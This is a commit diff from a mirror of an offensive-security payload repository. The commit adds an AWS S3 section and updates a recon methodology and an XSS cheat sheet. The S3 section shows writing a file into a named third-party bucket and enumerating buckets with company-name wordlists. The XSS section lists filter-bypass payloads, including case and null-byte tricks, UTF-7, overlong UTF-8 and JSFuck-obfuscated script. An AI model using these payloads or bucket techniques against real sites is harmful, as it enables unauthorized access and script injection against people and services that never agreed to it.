mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
AWS added, XSS and methodology update
This commit is contained in:
parent
472432cefb
commit
2829592730
44
AWS Amazon Bucket S3/README.md
Normal file
44
AWS Amazon Bucket S3/README.md
Normal file
@ -0,0 +1,44 @@
|
||||
# Amazon Bucket S3 AWS
|
||||
By default the name of Amazon Bucket are
|
||||
```
|
||||
http://s3.amazonaws.com/[bucket_name]/
|
||||
http://[bucket_name].s3.amazonaws.com/
|
||||
```
|
||||
|
||||
Move a file into the bucket
|
||||
```
|
||||
sudo apt install awscli
|
||||
|
||||
touch test.txt
|
||||
aws s3 mv test.txt s3://hackerone.marketing
|
||||
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied."
|
||||
|
||||
aws s3 mv test.txt s3://hackerone.files
|
||||
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
|
||||
```
|
||||
|
||||
Bucket Finder
|
||||
A cool tool that will search for readable buckets and list all the files in them. It can also be used to quickly find buckets that exist but deny access to listing files.
|
||||
```
|
||||
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
|
||||
./bucket_finder.rb my_words
|
||||
./bucket_finder.rb --region ie my_words
|
||||
US Standard = http://s3.amazonaws.com
|
||||
Ireland = http://s3-eu-west-1.amazonaws.com
|
||||
Northern California = http://s3-us-west-1.amazonaws.com
|
||||
Singapore = http://s3-ap-southeast-1.amazonaws.com
|
||||
Tokyo = http://s3-ap-northeast-1.amazonaws.com
|
||||
|
||||
./bucket_finder.rb --download --region ie my_words
|
||||
./bucket_finder.rb --log-file bucket.out my_words
|
||||
```
|
||||
Use a custom wordlist for the bucket finder, can be created with
|
||||
```
|
||||
List of Fortune1000 company names with permutations on .com, -backup, -media. For example, walmart becomes walmart, walmart.com, walmart-backup, walmart-media.
|
||||
List of the top Alexa 100,000 sites with permutations on the TLD and www. For example, walmart.com becomes www.walmart.com, www.walmart.net, walmart.com, and walmart.
|
||||
```
|
||||
|
||||
|
||||
## Thanks to
|
||||
* https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets
|
||||
* https://digi.ninja/projects/bucket_finder.php
|
@ -47,17 +47,14 @@ git clone https://github.com/ChrisTruncer/EyeWitness.git
|
||||
|
||||
* Basic NMAP (if allowed ^^')
|
||||
```
|
||||
sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4 &
|
||||
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL IPS.csv
|
||||
sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4
|
||||
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv
|
||||
|
||||
• the flag -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports
|
||||
|
||||
• the -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000)
|
||||
|
||||
• 192.168.0.1 is the IP address to scan
|
||||
|
||||
• -oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE"
|
||||
|
||||
• -iL INPUTFILE tells Nmap to use the provided file as inputs
|
||||
• -T4 defines the timing for the task (options are 0-5 and higher is faster)
|
||||
```
|
||||
|
||||
|
@ -91,7 +91,7 @@ DOM XSS
|
||||
#"><img src=/ onerror=alert(2)>
|
||||
```
|
||||
|
||||
## XSS in wrappers javascript and data
|
||||
## XSS in wrappers javascript and data URI
|
||||
XSS with javascript:
|
||||
```
|
||||
javascript:prompt(1)
|
||||
@ -103,6 +103,7 @@ javascript:prompt(1)
|
||||
|
||||
XSS with data:
|
||||
```
|
||||
data:text/html,<script>alert(0)</script>
|
||||
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
|
||||
```
|
||||
|
||||
@ -219,31 +220,56 @@ Polyglot XSS - Rsnake
|
||||
|
||||
## Filter Bypass and exotic payloads
|
||||
|
||||
Bypass case sensitive
|
||||
```
|
||||
<sCrIpt>alert(1)</ScRipt>
|
||||
```
|
||||
|
||||
Bypass quotes for string
|
||||
```
|
||||
String.fromCharCode(88,83,83)
|
||||
```
|
||||
|
||||
Bypass parenthesis for string
|
||||
Bypass dot filter
|
||||
```
|
||||
<script>window['alert'](document['domain'])<script>
|
||||
```
|
||||
|
||||
Bypass parenthesis for string - Firefox
|
||||
```
|
||||
alert`1`
|
||||
```
|
||||
|
||||
Exotic payloads
|
||||
Bypass onxxx= filter with a null byte/vertical tab - IE/Safari
|
||||
```
|
||||
<script>$=1,alert($)</script>
|
||||
<script ~~~>confirm(1)</script ~~~>
|
||||
<script>$=1,\u0061lert($)</script>
|
||||
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
|
||||
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
|
||||
</style></scRipt><scRipt>alert(1)</scRipt>
|
||||
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
|
||||
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
|
||||
<svg><x><script>alert('1')</x>
|
||||
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
|
||||
<img src='1' onerror\x00=alert(0) />
|
||||
<img src='1' onerror\x0b=alert(0) />
|
||||
```
|
||||
|
||||
Using Unicode
|
||||
Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari
|
||||
```
|
||||
<img src='1' onerror/=alert(0) />
|
||||
```
|
||||
|
||||
Bypass space filter with "/" - IE/Firefox/Chrome/Safari
|
||||
```
|
||||
<img/src='1'/onerror=alert(0)>
|
||||
```
|
||||
|
||||
Bypass with incomplete html tag - IE/Firefox/Chrome/Safari
|
||||
```
|
||||
<img src='1' onerror='alert(0)' <
|
||||
```
|
||||
|
||||
Bypass using an alternate way to execute js
|
||||
```
|
||||
<script>window['alert'](0)</script>
|
||||
<script>parent['alert'](1)</script>
|
||||
<script>self['alert'](2)</script>
|
||||
<script>top['alert'](3)</script>
|
||||
```
|
||||
|
||||
Bypass using Unicode
|
||||
```
|
||||
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
|
||||
transformed into U+003C LESSTHAN SIGN (<)
|
||||
@ -266,36 +292,51 @@ transformed into U+0027 APOSTROPHE (')
|
||||
E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
|
||||
%EF%BC%9E becomes >
|
||||
%EF%BC%9C becomes <
|
||||
```
|
||||
|
||||
Overlong UTF-8
|
||||
Bypass using overlong UTF-8
|
||||
```
|
||||
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
|
||||
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
|
||||
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
|
||||
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
|
||||
" = %CA%BA
|
||||
' = %CA%B9
|
||||
|
||||
```
|
||||
|
||||
|
||||
HTTP Parameter Pollution
|
||||
Bypass using UTF-7
|
||||
```
|
||||
http://target.com/something.xxx?a=val1&a=val2
|
||||
ASP.NET a = val1,val2
|
||||
ASP a = val1,val2
|
||||
JSP a = val1
|
||||
PHP a = val2
|
||||
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
|
||||
```
|
||||
|
||||
|
||||
|
||||
Use JSFuck to encode the payload (alert())
|
||||
Bypass using weird encoding or native interpretation to hide the payload (alert())
|
||||
```javascript
|
||||
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
|
||||
<img src="1" onerror="alert(1)" />
|
||||
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
|
||||
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
|
||||
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
Exotic payloads
|
||||
```
|
||||
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
|
||||
<script>$=1,alert($)</script>
|
||||
<script ~~~>confirm(1)</script ~~~>
|
||||
<script>$=1,\u0061lert($)</script>
|
||||
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
|
||||
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
|
||||
</style></scRipt><scRipt>alert(1)</scRipt>
|
||||
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
|
||||
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
|
||||
<svg><x><script>alert('1')</x>
|
||||
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
|
||||
```
|
||||
|
||||
|
||||
## Thanks to
|
||||
* https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
|
||||
* tbm
|
||||
@ -303,3 +344,4 @@ Use JSFuck to encode the payload (alert())
|
||||
* http://www.thespanner.co.uk/2014/03/21/rpo/
|
||||
* http://blog.innerht.ml/rpo-gadgets/
|
||||
* http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite
|
||||
* http://d3adend.org/xss/ghettoBypass
|
Loading…
Reference in New Issue
Block a user